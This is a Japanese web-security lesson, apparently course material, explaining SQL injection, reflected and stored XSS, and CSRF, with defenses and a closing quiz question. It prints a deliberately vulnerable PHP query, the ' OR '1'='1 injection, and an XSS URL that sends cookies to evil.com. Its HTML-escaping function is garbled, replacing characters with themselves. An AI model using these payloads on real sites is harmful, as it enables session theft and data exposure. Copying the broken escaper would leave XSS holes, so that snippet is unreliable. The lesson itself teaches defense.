Webアプリ攻撃の概要
T1190 公開アプリケーションの悪用Webアプリケーションは現代のビジネスの中核ですが、不適切な実装は重大な脆弱性を生みます。OWASPが発表するOWASP Top 10は、Webアプリの最重要脆弱性カテゴリを示しています。
このレッスンで紹介する攻撃手法は、脆弱性の理解と防御策の学習を目的としています。自分が所有または許可を得ていないシステムへの実施は不正アクセス禁止法違反です。演習はDVWA(Damn Vulnerable Web App)などの学習用環境で行ってください。
SQLインジェクション(SQL Injection)
データベースへのSQLクエリに悪意のある入力を注入し、意図しないSQL命令を実行させる攻撃です。
脆弱なコードの例
// 脆弱なコード(絶対に使用しないこと)
$username = $_GET['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
攻撃者が ' OR '1'='1 を入力すると:
SELECT * FROM users WHERE username = '' OR '1'='1'
-- 全ユーザーのデータが返される
対策: プリペアドステートメント
// 安全なコード:プリペアドステートメント $stmt = $pdo->prepare(“SELECT * FROM users WHERE username = ?”); $stmt->execute([$username]); $user = $stmt->fetch();
防御策のまとめ:
- プリペアドステートメント / パラメータ化クエリの使用(最重要)
- ORMフレームワークの活用
- 最小権限のDBアカウント(SELECT権限のみのアカウントなど)
- WAFによる追加防御層
クロスサイトスクリプティング(XSS)
攻撃者が悪意のあるスクリプトをWebページに埋め込み、他のユーザーのブラウザで実行させる攻撃です。
反射型XSS(Reflected XSS)
悪意のあるリンクをクリックさせることで、スクリプトが被害者のブラウザで即座に実行されます。
https://example.com/search?q=<script>document.location='https://evil.com/?c='+document.cookie</script>
蓄積型XSS(Stored XSS)
悪意のあるスクリプトがDBに保存され、ページを閲覧したすべてのユーザーに影響します。SNSの投稿・コメント欄での悪用が典型例です。
対策
// フロントエンド側でのエスケープ処理
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// HTTPヘッダーでのCSP設定(最も重要)
// Content-Security-Policy: default-src 'self'; script-src 'self'
防御策のまとめ:
- 出力時のHTMLエスケープ(表示するすべての動的コンテンツ)
- Content Security Policy(CSP)ヘッダー — 最も効果的
HttpOnly/SecureCookie属性 — スクリプトからのCookieアクセス防止- DOMPurifyなどのサニタイゼーションライブラリ
CSRF(クロスサイトリクエストフォージェリ)
認証済みユーザーが悪意のあるサイトを訪問することで、意図しないリクエストをターゲットサイトに送信させる攻撃です。
攻撃シナリオ:
- ユーザーがbanksite.comにログイン済み
- ユーザーが悪意のあるサイトを訪問
- 悪意のあるサイトが自動的にbanksite.comへの送金リクエストを送信
- ブラウザは自動的にCookieを付与するため、リクエストが正規ユーザーのものと見なされる
対策: CSRFトークン
<form method="POST" action="/transfer">
<input type="hidden" name="csrf_token" value="a8f3b2c9d1e4...">
<input type="text" name="amount">
<button type="submit">送金</button>
</form>
防御策のまとめ:
- CSRFトークン(サーバー生成のランダムトークン)
SameSite=Strict/SameSite=LaxCookie属性Origin/Refererヘッダーの検証- 重要操作での再認証
脆弱性優先度の整理
| 脆弱性 | 影響 | 実装難易度 | 優先度 |
|---|---|---|---|
| SQLi | DBの完全制御・情報漏えい | 対策が簡単 | 最優先 |
| 蓄積型XSS | 多数ユーザーへの影響 | 中程度 | 高 |
| 反射型XSS | 個別ユーザーへの影響 | 中程度 | 高 |
| CSRF | 不正操作の実行 | 比較的容易 | 中〜高 |
SQLインジェクションの根本的な対策として最も効果的なものはどれですか?